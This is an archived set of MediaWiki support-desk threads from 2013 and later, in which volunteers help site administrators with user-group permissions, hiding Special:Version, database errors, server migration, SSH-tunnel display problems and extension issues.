Enable a debug log as explained in Manual:How to debug (I think you already did that with $wgDebugLogFile ) and look for any relevant error. Since the error message may be cached, look at the debug log when previewing an edit that contains math formulas (and maybe try to change one of them), to see if it provides a more detailed error message. Ciencia Al Poder (talk) 10:35, 28 November 2013 (UTC)

Wikimedia Error

Please help me. For the past 13 hours, i am unable to use wkipedia on my laptop. it keeps showing the post below:

Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.

If you report this error to the Wikimedia System Administrators, please include the details below. Request: GET http://en.wikipedia.org\, from 10.64.32.104 via cp1065 cp1065 ([10.64.0.102]:3128), Varnish XID 3467900346 Forwarded for: 210.195.108.81, 10.64.32.104 Error: 503, Service Unavailable at Wed, 27 Nov 2013 05:04:41 GMT 210.195.108.81 (talk) 05:12, 27 November 2013 (UTC)

This question is about Wikimedia/Wikipedia servers and not about the MediaWiki software. Please bring this problem up on https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29 and provide steps to reproduce and the country you are based in. AKlapper (WMF) (talk) 09:08, 27 November 2013 (UTC)

[RESOLVED] Make Special:Version only visible to Admins?

Hi all,

I'm using Mediwiki 1.21.1 and I like the fact that Special:Version is visible to everyone especially anon users. Is there any way to display this special page only to certain user groups like SysOps and bureaucrats? Maybe I'm dense but I haven't managed this yet via my $wgGroupPermissions and $wgRevokeAccess settings yet. Lockdown Extension didn't help. I don't want to block all Special Pages for users, only Special:Version.

Can anyone help or has an idea what I have done wrong?Thanks in advance.

these are my current permission settings in LocalSettings.php

# modified Group permissions
$wgGroupPermissions['bureaucrat']['maintenance'] = true;
$wgGroupPermissions['*']['createaccount'] = true;
$wgGroupPermissions['*']['read'] = true;
$wgGroupPermissions['*']['edit'] = false;
$wgGroupPermissions['*']['createpage'] = false;
$wgGroupPermissions['*']['createtalk'] = false;
$wgGroupPermissions['*']['writeapi'] = false;
$wgGroupPermissions['user'][read] = array("Special");
$wgGroupPermissions['emailconfirmed'][read] = array("Special");
$wgGroupPermissions['mods'][read] = array("Special");
$wgGroupPermissions['bot'][read] = array("Special");
$wgGroupPermissions['sysop'][read] = array("Special");
$wgGroupPermissions['bureaucrat'][read] = array("Special");
$wgGroupPermissions['editor'][read] = array("Special");
$wgWhitelistRead = array( "Main Page", "Special:UserLogin", "Special:UserLogout", "Special:PasswordReset", "MediaWiki:Common.css", "Special:Statistics");
# logged in User
$wgGroupPermissions['user']['move'] = false;
$wgGroupPermissions['user']['move-subpages'] = false;
$wgGroupPermissions['user']['move-rootuserpages'] = false;
$wgGroupPermissions['user']['movefile'] = false;
$wgGroupPermissions['user']['read'] = true;
$wgGroupPermissions['user']['edit'] = false;
$wgGroupPermissions['user']['createpage'] = false;
$wgGroupPermissions['user']['createtalk'] = false;
$wgGroupPermissions['user']['writeapi'] = false;
$wgGroupPermissions['user']['upload'] = false;
$wgGroupPermissions['user']['reupload'] = false;
$wgGroupPermissions['user']['reupload-shared'] = false;
$wgGroupPermissions['user']['minoredit'] = false;
$wgGroupPermissions['user']['purge'] = false;
# Autoconfirmed 
$wgGroupPermissions['autoconfirmed']['autoconfirmed'] = true;
# User with confirmed e-mail
$wgAutopromote['emailconfirmed'] = APCOND_EMAILCONFIRMED;
$wgImplicitGroups[] = 'emailconfirmed';
$wgGroupPermissions['emailconfirmed']['move'] = false;
$wgGroupPermissions['emailconfirmed']['move-subpages'] = false;
$wgGroupPermissions['emailconfirmed']['move-rootuserpages'] = false;
$wgGroupPermissions['emailconfirmed']['movefile'] = false;
$wgGroupPermissions['emailconfirmed']['read'] = true;
$wgGroupPermissions['emailconfirmed']['edit'] = true;
$wgGroupPermissions['emailconfirmed']['createpage'] = true;
$wgGroupPermissions['emailconfirmed']['createtalk'] = true;
$wgGroupPermissions['emailconfirmed']['writeapi'] = false;
$wgGroupPermissions['emailconfirmed']['upload'] = true;
$wgGroupPermissions['emailconfirmed']['reupload'] = true;
$wgGroupPermissions['emailconfirmed']['reupload-shared'] = true;
$wgGroupPermissions['emailconfirmed']['minoredit'] = true;
$wgGroupPermissions['emailconfirmed']['purge'] = false;
#Mods
$wgGroupPermissions['mods']['mods'] = true;
$wgGroupPermissions['mods']['block'] = true;
$wgGroupPermissions['mods']['delete'] = true;
$wgGroupPermissions['mods']['editprotected'] = true;
$wgGroupPermissions['mods']['patrol'] = true;
$wgGroupPermissions['mods']['protect'] = true;
$wgGroupPermissions['mods']['move-subpages'] = false;
$wgGroupPermissions['mods']['move-rootuserpages'] = false;
$wgGroupPermissions['mods']['movefile'] = false;
$wgGroupPermissions['mods']['read'] = true;
$wgGroupPermissions['mods']['edit'] = true;
$wgGroupPermissions['mods']['createpage'] = true;
$wgGroupPermissions['mods']['createtalk'] = true;
$wgGroupPermissions['mods']['writeapi'] = false;
$wgGroupPermissions['mods']['upload'] = true;
$wgGroupPermissions['mods']['reupload'] = true;
$wgGroupPermissions['mods']['reupload-shared'] = true;
$wgGroupPermissions['mods']['minoredit'] = true;
# Bureaucrats
$wgGroupPermissions['bureaucrat']['patrol'] = true;
$wgGroupPermissions['bureaucrat']['edit'] = true;
$wgGroupPermissions['bureaucrat']['protect'] = true;
# Bots
$wgGroupPermissions['bot']['bot'] = true;
$wgGroupPermissions['bot']['autoconfirmed'] = true;
$wgGroupPermissions['bot']['nominornewtalk'] = true;
$wgGroupPermissions['bot']['autopatrol'] = true;
$wgGroupPermissions['bot']['suppressredirect'] = true;
$wgGroupPermissions['bot']['apihighlimits'] = true;
$wgGroupPermissions['bot']['writeapi'] = true;
$wgGroupPermissions['bot']['editprotected'] = true; // can edit all protected pages without cascade protection enabled
#Sysops and Admins
$wgGroupPermissions['sysop']['block'] = true;
$wgGroupPermissions['sysop']['createaccount'] = true;
$wgGroupPermissions['sysop']['delete'] = true;
$wgGroupPermissions['sysop']['bigdelete'] = true; // can be separately configured for pages with > $wgDeleteRevisionsLimit revs
$wgGroupPermissions['sysop']['deletedhistory'] = true; // can view deleted history entries, but not see or restore the text
$wgGroupPermissions['sysop']['undelete'] = true;
$wgGroupPermissions['sysop']['editinterface'] = true;
$wgGroupPermissions['sysop']['editusercssjs'] = true;
$wgGroupPermissions['sysop']['import'] = true;
$wgGroupPermissions['sysop']['importupload'] = true;
$wgGroupPermissions['sysop']['move'] = true;
$wgGroupPermissions['sysop']['move-subpages'] = true;
$wgGroupPermissions['sysop']['move-rootuserpages'] = true;
$wgGroupPermissions['sysop']['patrol'] = true;
$wgGroupPermissions['sysop']['autopatrol'] = true;
$wgGroupPermissions['sysop']['protect'] = true;
$wgGroupPermissions['sysop']['proxyunbannable'] = true;
$wgGroupPermissions['sysop']['rollback'] = true;
$wgGroupPermissions['sysop']['trackback'] = true;
$wgGroupPermissions['sysop']['upload'] = true;
$wgGroupPermissions['sysop']['reupload'] = true;
$wgGroupPermissions['sysop']['reupload-shared'] = true;
$wgGroupPermissions['sysop']['unwatchedpages'] = true;
$wgGroupPermissions['sysop']['autoconfirmed'] = true;
$wgGroupPermissions['sysop']['upload_by_url'] = true;
$wgGroupPermissions['sysop']['ipblock-exempt'] = true;
$wgGroupPermissions['sysop']['blockemail'] = true;
$wgGroupPermissions['sysop']['markbotedits'] = true;
$wgGroupPermissions['sysop']['apihighlimits'] = true;
$wgGroupPermissions['sysop']['browsearchive'] = true;
$wgGroupPermissions['sysop']['noratelimit'] = true;
$wgGroupPermissions['sysop']['movefile'] = true;
$wgGroupPermissions['sysop']['unreviewedpages'] = true;
$wgGroupPermissions['sysop']['autoreview'] = true;
$wgGroupPermissions['sysop']['review'] = true;
$wgGroupPermissions['sysop']['editsemiprotected'] = true;
$wgGroupPermissions['sysop']['checkuser-log'] = true;
$wgGroupPermissions['sysop']['checkuser'] = true;
# Reviewer
$wgGroupPermissions['editor']['unreviewedpages'] = true;
$wgGroupPermissions['editor']['autoreview'] = true;
$wgGroupPermissions['editor']['review'] = true;
$wgGroupPermissions['editor']['rollback'] = true;
$wgGroupPermissions['editor']['editsemiprotected'] = true;
#$wgGroupPermissions['sysop']['mergehistory']   = true;

#Can change group permissions
$wgGroupPermissions['bureaucrat']['userrights'] = true;
$wgGroupPermissions['bureaucrat']['noratelimit'] = true;
$wgGroupPermissions['sysop']['userrights'] = true;
$wgGroupPermissions['sysop']['noratelimit'] = true;

CayceP (talk) 11:43, 27 November 2013 (UTC)

Hi!

I think what you are trying to do is not reasonably possible; at least not the way you are trying to do it.

$wgGroupPermissions only allows you to set TRUE or FALSE as values. Arrays are not supported. Btw. there are single quotes missing around the word "read". See Manual:$wgGroupPermissions for details.

I think I can guess that already, but: Why do you want to make the Special:Version page unaccessable for most users? 88.130.106.29 13:38, 27 November 2013 (UTC)

Thanks for your reply and you somewhat confirmed my suspicion (I got this from somewhere around the net that this is working).

The main reason why I want to hide the page is mostly security related, since the PHP and MYSQL Version and the list of the installed Extensions makes it easier for exploitation to compromise as system especially if security issues are discovered. Other CMS system don't go hawking with their used PHP and MySQL versions and I think for good reason. CayceP (talk) 13:49, 27 November 2013 (UTC)

I see. It is true that the exact version numbers are security-relevant; however, hiding them is no real help. See "security by obsurity". Hiding that page alone also won't really help you. Without being a hacker I spontaneously know at least one other way to get your version numbers, that is through the MediaWiki API. And I guess you cannot prevent that; except blocking all calls to the API making it completely useless. Apart from that Apache and PHP versions are often transferred with the header of each request already so that you don't even need Special:Version to know them.

If you really want to be on the safe site, you must make sure that you are running current software versions. Everything else will only give you a false feeling of a security, in which you cannot trust. 88.130.106.29 14:53, 27 November 2013 (UTC)

One way of doing this is to use the Mediawiki SpecialPage_initList hook. You can unset the pages based off the group rights the user has.

function disableSomeSpecialPages(&$list) {
	global $wgUser;
	
	#Block From All	
	unset($list['CreateAccount']);	
	
	#If not sysop disable other pages
	if (!in_array('sysop',$wgUser->mGroups)){
		unset($list['Version']);
		unset($list['Listusers']);
		/.../ #Add more here as required.
	}
	
	return true;
}
$wgHooks['SpecialPage_initList'][]='disableSomeSpecialPages';

You can use a print_r($list) to get the keys to the special pages to remove from public view. 65.116.116.6 21:06, 8 August 2014 (UTC)

$wgUser->mGroups is a private field in the newer versions of Mediawiki, instead use $wgUser->getGroups()

function disableSomeSpecialPages(&$list) {
global $wgUser;
   #If not sysop disable other pages
   if (!in_array('sysop', $wgUser->getGroups())){
       unset($list['Version']);
   }
   return true;
}
$wgHooks['SpecialPage_initList'][] = 'disableSomeSpecialPages';

Mastergalen (talk) 15:42, 13 January 2019 (UTC)

Make Books saveable to userspace for new users

I brought this up in Wikivoyage.

I propose that newly-registered users should be able to save Books in their own userspace (but perhaps not make available to the community).

Currently they must wait until 4 days & 10 edits to earn Autopatrolled group membership. Creating a Book is a function that users can usefully use, without needing to contribute to content. As far as I can see, there's no inherent risk of vandalism etc. although perhaps the wider permissions system makes this non-trivial to implement. Cormac Bracken (talk) 12:15, 27 November 2013 (UTC)

File a bug at http://bugzilla.wikimedia.org in the product "Wikimedia", component "Site requests", asking that the right 'collectionsaveasuserpage' be assigned to all users on enwikivoyage. You should also include a link to a community discussion showing that you have the support of the community for doing that change. Bawolff (talk) 00:01, 29 November 2013 (UTC)

Visual Editor

Hallo, can anyone say, in which version and when the visual editor is available for the german version of mediawiki? 178.201.78.89 (talk) 14:05, 27 November 2013 (UTC)

Hi!

Visual Editor is currently included in the Wikimedia release of versions 1.23wmfxx. For progress and current status see VisualEditor. The download version of MediaWiki 1.23 will be released in around 6 months; should nothing unexpected happen during that time I guess that Visual Editor should be part of that release then.

Btw: Basically MediaWiki is language-neutral; it supports several languages by providing according translations, but the sourcecode itself is the same, be it for German or e.g. for Russian or Hebrew. 88.130.106.29 15:02, 27 November 2013 (UTC)

Hallo,

I'm realy looking forward to this version in around 6 month and hope that not unexpected will happen. Thank you very much indeed for your answer! 178.201.78.89 11:57, 29 November 2013 (UTC)

Migration of 1.12 on Linux to Windows 2008

I'm new to MediaWiki, and I've been tasked with moving an aging 1.12 heavily customized MediaWiki farm from Linux to our VMWare installation, which is all Win2k8 R2, and if possible use IIS7. I've looked through the relevant installation, migration and server move documentation for MediaWiki, but I could really use some advice on how to generally approach this. Is it better to upgrade the existing installation before I move it? Install a new stack of everything (PHP, MYSql, MediaWiki) on Windows and migrate individual bits as needed? Is there an existing discussion, maybe (I haven't found yet one searching my own)? Thanks! Woodstm (talk) 18:10, 27 November 2013 (UTC)

Hi!

I don't know of such a discussion, but if you ask me: What to do in which order depends:

I think that MediaWiki 1.12 will not be working properly with current PHP and MySQL versions. So if you move your old install to the new server, then it will be broken and you have to do a MediaWiki update in order to get it working again. Should you get errors afterwards (I am rather sure that you will), it is hard to tell, which of the steps you did (update PHP, update MySQL, update MediaWiki), caused it.

You have the old system and it works. So if the old PHP, MySQL and Apache versions still support MediaWiki 1.21, I would first update MediaWiki, get it running properly again and then move to the new server. That has the advantage that, should things stop working, you can more clearly say, where the problem must come from.

Apart from that take note that MediaWiki supports IIS and should work on a Windows server. However, although I use Windows myself, I would not run MediaWiki from there: It is just tested way better on default Linux installations, many problems you might run into have already been fixed on Linux and you have way more people running MediaWiki on Linux and so more support on Linux than on Windows. 88.130.106.29 18:31, 27 November 2013 (UTC)

Thank you. You make an excellent point about not knowing the source of errors. I had been trying to think of a way around doing those upgrades, but now I have a different opinion. With regard to Linux vs. Windows, I couldn't agree with you more. The decision to change platforms is being driven by economics, mainly that the unit I am working for has had it's technical staff reduced from nine to two people (I'm person #3, here for one year to help them downsize and re-architect things so they can manage with a staff of two) and this is the only Linux installation. Everything else they manage, including the business apps they've written here, are on the Windows stack, so we are moving them heavily into virtualization (to eventually remove all of their hardware and let another IT org play host) and we are trying to get to a common platform that they understand.

Again, thanks for the perspective! Woodstm (talk) 19:06, 27 November 2013 (UTC)

How i add to Adsense in Page in 1.22.0+

Hi there.

I want to add Google Adsense in content pages (TOP). How i do that?

Thank you. Bekircem (talk) 04:04, 29 November 2013 (UTC)

Tried https://www.mediawiki.org/wiki/Extension:Google_AdSense_2 ? AKlapper (WMF) (talk) 09:52, 29 November 2013 (UTC)

Hi,

I want to bring this to the attention of whomever it may concern, this should also be a priority for all admins that use Google AdSense in their MediaWiki sites.

The new default vector skin collapsible sidebar in 1.22+ prevents the extension from displaying advertisements.

The latest version of the Google AdSense 2 extension has not been updated since 2012. It is not currently being maintained by any active developer.

This is a concern for anyone looking to use this extension in a 1.22+ update. Updating MediaWiki may break AdSense functionary. This may result in lost ad revenue or possible suspension of AdSense accounts that are not displaying the ads properly.

Please, I request anyone who could update the extension to work with new updates post an updated extension.

Thank you. KemikalElite (talk) 23:55, 10 December 2013 (UTC)

Filed a bug.

Tracked in Phabricator
Task T63143

☠MarkAHershberger☢(talk)☣ 16:08, 10 February 2014 (UTC)

postgres: column "us_props" of relation "uploadstash" does not exist

mediawiki 1.21.3, postgresql 9.1.9, PHP 5.4.4-14+deb7u5 (apache2handler), internal wiki not internet accessible. Fresh installation (not an update).

The column us_props is missing from the mediawiki.uploadstash table. This causes the error:

ERROR: column "us_props" of relation "uploadstash" does not exist

I tried deleting the table and recreating with php maintenance/update.php, but it doesn't add it. I created it in psql:

alter table mediawiki.uploadstash add column us_props bytea null;

and now I can upload files.

Hope this helps. Bergonz (talk) 11:48, 29 November 2013 (UTC)

You say you created a new installation with Postgres and a column is missing. This should not happen. Is this behaviour reproducable for you? 88.130.95.110 13:47, 29 November 2013 (UTC)

I can confirm the problem: Debian GNU/Linux, PostgreSQL 9.1.9-1, MediaWiki 1.21.3. I see that into maintenance/postgres/tables.sql the "CREATE TABLE uploadstash" statement is missing the us_props field. 151.40.85.253 21:44, 30 November 2013 (UTC)

Alright. Can you please open an issue for that in the bugzilla bugtracker?

And when you are at it: Can you please add, if - apart from column us_props of table uploadstash - if there also are other columns, which you are missing? 88.130.68.65 03:11, 1 December 2013 (UTC)

Error 1146

Getting a error when navigating to website about upgrade. I don't have autoupdate enabled and haven't upgraded yet but I'm getting an error.

A database error has occurred. Did you forget to run maintenance/update.php after upgrading? See: https://www.mediawiki.org/wiki/Manual:Upgrading#Run_the_update_script

Query: SELECT page_title FROM `mw_page` WHERE page_is_redirect = '0' AND page_namespace = '8' AND (page_title NOT LIKE '%/%' ) AND (page_len > 10000) 
Function: MessageCache::loadFromDB(en)-big
Error: 1146 Table 'pcbase_pckb.mw_page' doesn't exist (localhost)

I haven't done anything it just happened all of the sudden when the new update was announced. Jason1234h (talk) 22:43, 29 November 2013 (UTC)

Hi Jason!

> Getting a error when navigating to website about upgrade.

I do not understand. To which website are you navigating? I guess the announcement does not have to do with the error; announcing an update does not magically 'install it.

However, the MySQL error points to the fact that in your database pcbase_pckb the table mw_page, which is required, is missing. This is a big problem, as it is this table, which holds all the pages and relations of those pages with the according page content. You will not be able to continue without this table. Check for a way to restore it! 88.130.95.110 22:56, 29 November 2013 (UTC)

Thank you for answering my question. Can I create the table with a sql query? What would the parameters be? Jason1234h (talk) 01:52, 30 November 2013 (UTC)

You could create the table with an SQL query. The original, which MediaWiki uses is in one of the sql files; I guess it was in the folder maintenance/ ... or in includes/. However, this will not help you.

This sql file would only bring back the structure of the table, but nothing of its content. You must restore the table with contents to get your wiki working again. 88.130.68.65 12:33, 30 November 2013 (UTC)

[RESOLVED]Mediawiki not displaying correctly over ssh tunnel

• MediaWiki: 1.21.3
• PHP: 5.3.3
• Database: mysql Ver 14.14 Distrib 5.1.69
• Server OS: CentOS 6.4 64bit

I use mediawiki on a private network. Every once in awhile I access the site remotely by connecting to the mediawiki server through ssh and then forwarding remote port 80 to a local port. This has worked perfectly using mediawiki 1.15.5. I recently upgraded to 1.21.3 and while it works just fine on the local network, displaying through the port tunnel gives me issues. It takes forever to load and does not display css properly. When it finally does display it is just text with a left alignment. Other sites being hosted on the same server are having no issues displaying. I have thought that there might be an issue with the php timing out over the slow connection. Anyone have ideas? 173.14.16.170 (talk) 01:18, 30 November 2013 (UTC)

On further investigation it seems when accessing the remote server over the tunnel, instead of using 127.0.0.1:portnumber, it tries to pull the address specified in $wgServer. Of course this is not going to work as it is a private IP and does not exist on the outside network. No idea if there is a work around. 173.14.16.170 01:34, 30 November 2013 (UTC)

Hi!

I do not directly have a solution, but with adjusting $wgServer I think you are at the right place. I guess what you need is a way to check, if the wiki is currently called via SSH tunnel or not so that you can then set $wgServer accordingly. I do not know, which consequences a changing value of $wgServer has for other stuff; e.g. what will happen when a page is cached after the one kind of call and later pulled out again for the second kind of call. 88.130.68.65 12:50, 30 November 2013 (UTC)

I thought of a solution however it is very dirty. I could create a second directory for Mediawiki and symlink all of the needed files from the original directory. The only change would be a different LocalSettings.php in which I have changed the $wgServer variable to 127.0.0.1:portnumber. To access over an ssh tunnel I would just have to navigate to the second directory rather than the first. Again, not an elegant solution at all. Will test it out and see if it works. I am still open for ideas that are executed cleaner than this. 173.14.16.170 21:04, 30 November 2013 (UTC)

Anyone have any further ideas on this issue? 173.14.16.170 19:29, 7 December 2013 (UTC)

Well I figured it out. I am not sure what else it might break but it you just comment out $wgServer it works like a charm. 2607:2800:102:2FF:4942:6BEA:8F1D:4FAD 21:29, 10 December 2013 (UTC)

It shouldn't really break anything. Worst case scenario would be if server detection failed, then a lot of things will break. There's a slight possibility of cache pollution (if you put {{SERVER}} in a page, the results might vary depending on who last saved the page, but that's pretty minor. Could probably be worked around by setting $wgCanonicalServer ) Bawolff (talk) 16:18, 11 December 2013 (UTC)

Possible CSS Error

I recently switched my wiki's host (following MediaWiki's guide). Everything went well, except for one slight visual error that might be a CSS problem. About 60% of the time when loading a page on my wiki, it looks like this. The other 40% it's fine and looks normal. I've switched themes thinking it might just be a specific theme, but it happens in Vector and the custom themes I've tried. Take a look: wiki.tngaming.com. Any help is appreciated.

Technical information
MediaWiki Version: 1.21.1
PHP Version: 5.3.13
MySQL Version: 5.5.32 Wolf3825 (talk) 02:32, 30 November 2013 (UTC)

Hi!

Your problem has to do with load.php. In the screenshot this script did not return the CSS styles, which it should return. I saw cases, where you get a server error 500 instead. Please check the server error log to see, if there are more information on that problem in there! 88.130.68.65 12:48, 30 November 2013 (UTC)

Check out Project:Support desk/Flow/2013/06#h-Load.php_causing_segfault-2013-06-05T02:37:00.000Z. Apparently there's a problem with PHP in Gentoo causing this problem. Check if your host is using Gentoo, and if you get segfault errors in the apache log. Maybe you'll need to compile PHP from source to fix the problem. Ciencia Al Poder (talk) 10:32, 2 December 2013 (UTC)

Server Change Challenge

Hi there,

I changed my MediaWiki server (centos, php 5.3) and receive very common well known - WebResponse.php on line 38 - error (e.g. http://www.ironiacorp.com/apps/wiki/testing/Non-computable_problem). Despite that I know some solutions to cope with the problem, but this time: creating new LocalSettings.php or omitting its spare last lines or saving default utf-8 or ... didn't work. If you have any other clue about the solution, please help. 2.180.69.199 (talk) 08:55, 30 November 2013 (UTC)

Your site is still showing problems, so you haven't fixed the issue. It looks like you need to upgrade to the BiblioPlus extension.

(Note that I also attempted to track down the owner of the wiki and send them email. Because it was bugging me.) ☠MarkAHershberger☢(talk)☣ 16:17, 5 February 2014 (UTC)

Impact of having redirects/forwards

Hi, I was curious to know if having more redirects in a wiki affects the performance of a wiki. For eg. Currently I have about 3000 redirected pages in my wiki, however I haven't noticed any performance issue in loading these redirected pages. But if suppose the number of redirected pages increases to 20000 or probably 30000 (because we are thinking of renaming a lot of our pages). Will this impact the performance and page loading times. Does this add 'noticable' overhead on the processor and wait times for the end user?

Thanks in advance.

Arnab 81.247.87.219 (talk) 09:43, 30 November 2013 (UTC)

I am on mediawiki 1.15.1

php 5.2.4

mysql 5.0.96 81.247.87.219 10:00, 30 November 2013 (UTC)

Quick shot without profiling or such: I think it will not influence performance and if, then only minimally. A redirect basically only is a row in a table just like you have for any page. For the database system it should not matter, if you have 100 or 10.000 pages inside the DB. Maybe you want to grant more resources to keep the system running fluently also when it is bigger (more RAM, more CPU cycles and so), but when you do, the system should work just as before.

The only possible impact I see is when you often call redirect pages instead of their targets. This creates an additional call as MediaWiki first starts processing your request of the redirect page and then has to go to the target page and process that one as well. However, I guess it depends on the server load, if these additional requests are a problem for your system. Should they be, the cheapest solution will be throwing hardware at the problem until it is gone.

Btw: Your MediaWiki version is outdated and has known security vulnerabilities. You should think about updating to a newer version like 1.19, which offers Long Term Support. 88.130.68.65 12:42, 30 November 2013 (UTC)

Hey thanks for the quickbyte. Yes we are up for an upgrade to 1.19.9 pretty soon. 81.247.87.219 13:58, 30 November 2013 (UTC)

Redirects represent very minimal overhead. I almost certainly would not worry about them. If you change the configuration of $wgMaxRedirects to more than 1 (which probably doesn't even work) redirects may become more expensive.

In particular adding a redirect is basically no more expensive then adding another normal page. In all probability if you do run into performance problems, it would probably be caused by something else. Bawolff (talk) 19:55, 1 December 2013 (UTC)

Server Change Challenge

Hi there,

I changed my MediaWiki server (centos, php 5.3) and receive very common well known - WebResponse.php on line 38 - error (e.g. http://www.ironiacorp.com/apps/wiki/testing/Non-computable_problem). Despite that I know some solutions to cope with the problem, but this time: creating new LocalSettings.php or omitting its spare last lines or saving default utf-8 or ... didn't work. If you have any other clue about the solution, please help. 2.180.192.121 (talk) 09:45, 30 November 2013 (UTC)

Hi!

The WebResponse error is only a symptom. It is not the origin of your problem. Your real problem is this one:

Deprecated: Assigning the return value of new by reference is deprecated in /home/magsilva/ironiacorp.com/apps/wiki/mediawiki/extensions/nusoap/nusoap.php on line 6496

Warning: Creating default object from empty value in /home/magsilva/ironiacorp.com/apps/wiki/mediawiki/extensions/nusoap/nusoap.php on line 55

Make sure that you are using a version of the nusoap extension, which is compatible with PHP 5.3. 88.130.68.65 12:46, 30 November 2013 (UTC)

Sorry, that address is just an example. The exact problem I face is the below line repeated exactly seven times:

Warning: Cannot modify header information - headers already sent by (output started at .../includes/DefaultSettings.php:1) in .../includes/WebResponse.php on line 38 2.180.192.121 14:22, 30 November 2013 (UTC)

Which address is just an example? When I call your page I see exactly this message: Assigning the return value of new by reference is deprecated in /home/magsilva/ironiacorp.com/apps/wiki/mediawiki/extensions/nusoap/nusoap.php on line 6496. That is no example; it is actually there. 88.130.68.65 16:05, 30 November 2013 (UTC)

Hey, thanks for helpful tips. The above address is not mine, I found it on the net. I can't note my address here, in reason of my customs privacy. anyway thanks a lot, warm regards. 2.180.192.121 18:00, 30 November 2013 (UTC)

Ahh, I see. 88.130.68.65 18:06, 30 November 2013 (UTC)

OK, problem solved; but how?

I tried to use mentioned solutions, but they didn't work, so I installed the MediaWiki again and then in just a minute I combined db through phpMyAdmin and add some needed lines for extensions and cache settings in LocalSettings.php; then I merged old /Images and /cache folders with new ones. now everything's fine! easier and faster than trial and error, huh?

This issue is very common due to MediaWiki files change. I hope MediaWiki composers make it more flexible and user-friendly like WordPress or Coppermine, which you can move or change almost anything, with no special complicated issue. 2.180.192.121 17:53, 30 November 2013 (UTC)

Sounds interesting. Your (now really your) error came from includes/DefaultSettings.php line 1. Maybe you had a strange character in that file? Something like this can happen, when one tries to edit the file, saves it again and suddenly there is something like a byte order mark (BOM) in there, which is not expected to be there and which then later during the processing causes the error. 88.130.68.65 18:15, 30 November 2013 (UTC)

I tried replacing those files with original ones or change the whole content and save with notepad++ or many other absurd ways! This is a major weakness of MediaWiki that can be broken with a little change; yet I like it. 2.180.192.121 19:43, 30 November 2013 (UTC)

Then I'm pretty sure the file got saved in the wrong encoding. However, you can cause this error with any other Wiki/CMS/framework as well. The only way around that would be to change output buffering; however, I don't think one should abandon it only to prevent user-errors from happening. 88.130.68.65 20:00, 30 November 2013 (UTC)

I'm a programmer pal. Just google "WebResponse.php on line 38" and find out how many people got in trouble in this field with no conclusion. In comparison with other scripts, this is a kind of bug; like BSD or Ubuntu or Cantos vs Mandriva ;) 2.180.143.228 20:45, 30 November 2013 (UTC)

So if I understand what happened here:

• DefaultSettings.php was edited (Added a newline or BOM or something at the beginning so that output was started prematurely)
• Later on that caused php to yell about output started already.

There's not much we can do to prevent users from editing the source code and adding errors. This is true of any program in any language where the source code is provided. The reason why this probably started happening for you after moving servers, is that I would guess your original server had php configured to not show errors/warnings, where your new server probably had error reporting enabled. Bawolff (talk) 19:43, 1 December 2013 (UTC)

Bugs and Glitches

Hi! I have found a few glitches in the QuickInstall version of MediaWiki. Should I report it to them or you? Ndtreefort (talk) 15:07, 30 November 2013 (UTC)

Hi!

A QuickInstall version is offered by Hostgator, so I guess you mean them with "them".

Were to report a bug depends on where it comes from:

• When the issue comes from the MediaWiki core, report it in the MediaWiki bugtracker.
• When it comes from something else, report it at the according other place. 88.130.115.236 00:09, 14 December 2013 (UTC)

Users who confirm they email and users who didn't

Hi I wonder, why "emailconfirmed" usergroup is no longer supported? Is there any alternate way? Omidh (talk) 15:33, 30 November 2013 (UTC)

Alternative way for what? User rights has all the options you have; a wide variety of possibilities to choose from. 88.130.68.65 16:03, 30 November 2013 (UTC)

I mean how create a usergroup which consist of registered users who confirmed their email address? Omidh (talk) 16:53, 30 November 2013 (UTC)

See the instructions at manual:$wgAutopromote for how to create custom automatic user groups.

Something like $wgAutopromote['emailconfirmed'] = array( APCOND_EMAILCONFIRMED ); at the bottom of LocalSettings.php (Note: have not tested this) Bawolff (talk) 19:49, 1 December 2013 (UTC)

extension:beta features

hi where can i get the extension for beta features please. i would like to know what extension is this [[:File:LabsScreenshot.png}} if you look at the top it little pictures along the navagation i would like to try out that extension please 86.156.188.247 (talk) 16:44, 30 November 2013 (UTC)

File:LabsScreenshot.png 86.156.188.247 16:44, 30 November 2013 (UTC)

Hi. its at Extension:BetaFeatures.

The individual beta features are spread across separate extensions, such as Extension:MultimediaViewer. Extension:MobileFrontend is where the articles near this location feature is defined (for some odd reason) Bawolff (talk) 19:50, 1 December 2013 (UTC)

No I mean the look if you look at the toolbar it shows the user and then talk and the rest with pictures where can I get that extension to try in extension:beta features please 90.215.249.209 16:28, 2 December 2013 (UTC)

Oh hmm, I'm not sure what that's from. You could try asking user:MGalloway (WMF) who added the screenshot. The screenshot might be just a mock up and not actually correspond to anything real. Bawolff (talk) 22:47, 2 December 2013 (UTC)

Oh ok thanks. 90.204.109.118 19:12, 5 December 2013 (UTC)

An easier way to weigh in on questions

The goal of my Media Wiki site is to enable better gathering, discussing and deciding over shared directions and goals.

To facilitate participation I imagine input looking like;

• A safe, simple and easy way to populate/edit tables and data.
• A shared list of prioritized questions and directions that we want to address.
• A way to weigh in on any of these questions any time by adding their own response or by voting someone else’s input up or down.
• A way for a moderator to select up to 5 of these responses for a real time online discussion where viewers could then reflect their understanding by asking new questions or by rating someone else s response.

For folks skilled at computers and editing Wiki’s, the built in editing, discussion and talk tools are good enough to build and maintain Wikipedia. I think that for your average mom or pop to get involved, they would need an easier way to participate.

Is it possible to do this using MediaWiki? The content under manual forms https://www.mediawiki.org/wiki/Manual:Forms makes it sound like this sort of thing is doable. Are there examples of other sites using these editing ideas?

I appreciate your taking the time to consider this long winded question and I hope there is a solution out there. Thanks, Jack Sanders, rmt Jacob22rmt (talk) 17:49, 30 November 2013 (UTC)

Wikis tend to best for "Free-form" instantly updated websites. The free-form nature is both their greatest strength and a major weakness. Well you can do more structured things using various extensions (SemanticForms is popular), at some point you have to consider if a wiki is really the type of website you want to make.

You may also want to check out Extension:VisualEditor for easier editing experience. Bawolff (talk) 19:46, 1 December 2013 (UTC)

Thanks for the helpful reply.

A programmer friend is suggesting I look into Joomla and apparently it may integrate somewhat with Wiki's files.

While there's much I like about Wiki but spam and the editing are large challenges.

Take care,

Jack Sanders, rmt Jacob22rmt (talk) 03:24, 7 December 2013 (UTC)

Modifying Special:UserLogin

I would like to edit this page, to add - at least a link - to a "Registration Agreement" Page, although I would prefer to include the text itself. I can delete users and pages for inappropriate content - but I would prefer to have an agreement in advance.

When I enter Special:UserLogin and then press search I get a link that says the page exists but rather than getting something I can potentially edit - I just get the UserLogin page - ready to log me in (again).

